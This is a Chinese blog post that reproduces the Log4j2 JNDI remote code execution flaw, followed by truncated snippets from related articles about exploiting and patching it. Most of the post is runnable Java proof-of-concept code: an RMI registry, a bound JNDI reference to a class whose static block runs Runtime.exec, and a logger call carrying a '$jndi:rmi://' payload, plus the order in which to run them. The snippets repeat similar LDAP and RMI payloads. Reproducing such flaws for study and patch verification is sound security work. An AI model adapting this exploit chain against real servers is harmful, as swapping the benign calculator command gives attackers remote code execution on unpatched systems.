log4j2漏洞执行(代码片段)

蚂蚁666 蚂蚁666     2023-02-24     495

关键词:

Log4j2漏洞代码复现

代码如下:

package poc;
import java.io.Serializable;
import java.rmi.Remote;
public class CalcTest implements Remote, Serializable 
    static 
        try 
            System.err.println("远程代码开始执行了...");
            Runtime runtime = Runtime.getRuntime();
            String osName = System.getProperty("os.name");
            System.err.println(osName);
            if (osName.startsWith("Mac OS")) 
                String[] commands = "open", "/System/Applications/Calculator.app";
                runtime.exec(commands);
             else if (osName.startsWith("Windows")) 
                // windows
                String[] commands = "calc";
                runtime.exec(commands);
            
            System.err.println("远程代码被执行了...");
         catch (Exception e) 
            e.printStackTrace();
        
        System.out.println("Hack_code执行了....");
    
    public String show()
        System.out.println(name+"远程调用执行");
        return "Result";
    
    private String name;
    public CalcTest(String name)
        this.name=name;
    


package poc;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2Test 
    private static Logger Logger=LogManager.getLogger(Log4j2Test.class);
    public static void main(String[] args) 
        String username="$jndi:rmi://127.0.0.1:1099/hack";
       Logger.error(username);
    


package poc;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;

/**
 * 注册Service
 */
public class RegisterService1099 
    public static void main(String[] args) throws InterruptedException 
        try 
            LocateRegistry.createRegistry(1099); //Registry使用8000端口
         catch (RemoteException e) 
            e.printStackTrace();
        
        CountDownLatch latch=new CountDownLatch(1);
        latch.await();  //挂起主线程,否则应用会退出
    


package poc;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiClient 
    public static void main(String[] args) throws RemoteException, NotBoundException 
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);  //获取注册中心引用
        CalcTest remote = (CalcTest) registry.lookup("calc"); //获取RemoteHello服务
        System.out.println("Client:调用远程方法:"+remote.show());  //调用远程方法
    


package poc;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 *
 */
public class RmiService 
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException 
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); //获取Registry
//       最后一个参数不指定的话,那么这个类的创建就在本地的jvm中,如果指定那么就在指定的服务器上进行创建
        Reference reference=new Reference("poc.CalcTest","poc.CalcTest",null);
        ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
        registry.bind("hack",referenceWrapper);
//        下面的调用直接获取到对象
        CalcTest calcTest=new CalcTest("RmiService");
        registry.bind("calc",calcTest);
        System.out.println("CalcTestService已经注册");

    


注意:先运行RegisterService1099再运行RmiService最后运行客户端或者Log4j2Test。
本人也是参考了blibli的视频所写。有问题一起交流,谢谢!

参考:https://www.jianshu.com/p/de85fad05dcb

log4j2漏洞复现与利用(代码片段)

文章目录漏洞简介log4j2教程环境搭建测试运行专业名词解释及其payload分析利用工具简介:log4j2漏洞验证(弹出计算器版)被攻击者的log4j2打印函数示例攻击者执行操作漏洞复现log4j2漏洞验证(DNSlog版)DNSlog如... 查看详情

漏洞log4j2远程执行代码复现实操代码例子(代码片段)

如何复现log4j2远程执行代码漏洞漏洞原理漏洞复现漏洞范围漏洞原理1.攻击伪装一个请求体,里面含有JNDI可执行的服务,我这里主要是试了LDAP与RMI两种,请求URL如下:LADP:$jndi:ldap://127.0.0.1:1389/helloRMI:$jndi:rmi://127.0.0.1:1389/hello2.在应用程... 查看详情

快速修复log4j2远程代码执行漏洞步骤(代码片段)

...p包到本地解压到本地用IDEA打开项目执行MavenDeploy,将log4j2修复的版本包安装到Nexus修改项目中的pom.xml测试验证ApacheLog4j2远程代码执行漏洞修复步骤漏洞说明ApacheLog4j2是一个基于Java的日志记录工具。由于ApacheLog4j2某些功能存... 查看详情

.net程序测试java项目log4j2是否存在远程代码执行漏洞(代码片段)

最近两天被朋友圈的“ApacheLog4j2远程代码执行漏洞”刷屏了,主要是因为组件存在JavaJNDI注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发ApacheLog4j2中的远程代码执行漏洞,从... 查看详情

分析并复现apache核弹级漏洞,利用log4j2使目标服务器执行任意代码(代码片段)

12月9日晚间,ApacheLog4j2被曝光存在严重漏洞,可以随意执行任意远程代码,本贴将详细分析事故原因及实战复现此漏洞!一.事件详情1.事件经过2021年12月9日,国内多家机构监测到Apachelog4j存在任意代码执行漏... 查看详情

快速修复log4j2远程代码执行漏洞步骤(代码片段)

...ff1a;https://blog.csdn.net/weixin_48990070/article/details/121861553/ApacheLog4j2远程代码执行漏洞修复步骤漏洞说明ApacheLog4j2是一个基于Java的日志记录工具。由于ApacheLog4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远... 查看详情

log4j2远程执行漏洞原理以及解决方案(代码片段)

...久没更新博客了,因为最近实在是超级忙,最近Log4j2核弹级别漏洞被疯狂刷屏。2021年12月9日,国内多家机构监测到ApacheLog4j2存在任意代码执行漏洞,并紧急通报相关情况。由于ApacheLog4j存在递归解析功能,未... 查看详情

log4j2高危漏洞cnvd-2021-95914复现及分析(代码片段)

...f0c;国家信息安全漏洞共享平台(CNVD)收录了ApacheLog4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修... 查看详情

利用codesec代码审核平台深度扫描log4j2漏洞(代码片段)

Log4j2安全漏洞(编号CVE-2021-44228)事件已经过去一个多月了,但它造成的危害影响却非常严重,各大软件安全厂商在第一时间针对此漏洞紧急做了补丁。虽然漏洞最早是由阿里发现的,但实际上它是一个0day漏... 查看详情

log4j2漏洞信息最新跟进(代码片段)

...言  一直在解决漏洞,连续发版,从最开始的Log4j2.15.0到现在最新2.17.0,大大小小的版本已经发了10个了,影响的周期已经接近两周了,目前还没看到收尾的迹象。。这次应该是爆出来的第4个漏洞了:•C... 查看详情

一问三不知之log4j2漏洞简析(代码片段)

1.log4j2漏洞介绍1.1简介ApacheLog4j2是对Log4j的升级,它比其前身Log4j1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。是目前最优秀的Java日志框架之一。2021年11月24日,阿里... 查看详情

log4j2爆出漏洞,如何快速升级(代码片段)

...旦被攻击者利用会造成严重危害。ApacheLog4j是一款开源的Log4j2室一款开源的Java日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于Log4j2提供的lookup功能造成的,该功能允许开发者通过一些协议去读取相应环... 查看详情

log4j2重大漏洞与解决方案(代码片段)

...c;朋友圈,各种论坛、公众号和群,都在讨论一个Log4j2的漏洞,多少程序员半夜爬起来改代码。此bug甚至威胁到了全球网络安全,已证实服务器易受到漏洞攻击的公司包括但不限于苹果、亚马逊、特斯拉、谷歌、... 查看详情

log4j2漏洞复现(cve-2021-44228)(代码片段)

...务系统开发,用以记录程序输入输出日志信息。ApacheLog4j2存在远程代码执行漏洞,攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得... 查看详情

springboot项目解决log4j2核弹漏洞(代码片段)

SpringBoot项目解决log4j2核弹漏洞!事件情况北京时间12月9号深夜,ApacheLog4j2被曝出一个高危漏洞,攻击者通过jndi注入攻击的形式可以轻松远程执行任何代码。随后官方紧急推出了2.15.0和2.15.0-rc1新版本修复,依然未... 查看详情

最新log4j2远程代码执行漏洞(紧急扩散)

...三、临时解决方案一、问题描述在12月9日晚间出现了ApacheLog4j2远程代码执行漏洞攻击代码。该漏洞利用无需特殊配置,经多方验证,ApacheStruts2、ApacheSolr、ApacheDruid、ApacheFlink等均受影响。ApacheLog4j2是一款流行的Java日志框... 查看详情

log4j2史诗级漏洞攻击重现(代码片段)

早上来到公司,就听到安全团队的同事说log4j2有个高危漏洞起初并不是很在意,想着一个日志框架能有啥高危漏洞嘛但是仔细一看,居然是远程执行命令的漏洞,上次看到这个名字还是struts2。。。修复方法也很简... 查看详情

logback漏洞继log4j2之后logback也发现了问题?(代码片段)

文章目录logback漏洞说明github地址总结前两天因为log4j2的问题许多公司估计都通宵达旦的加班看版本改BUG了,但最近Logback也被发现相同问题。logback漏洞说明下面是一个漏洞检测机构搜集到的消息。在1.2.7之前的logback中发现了... 查看详情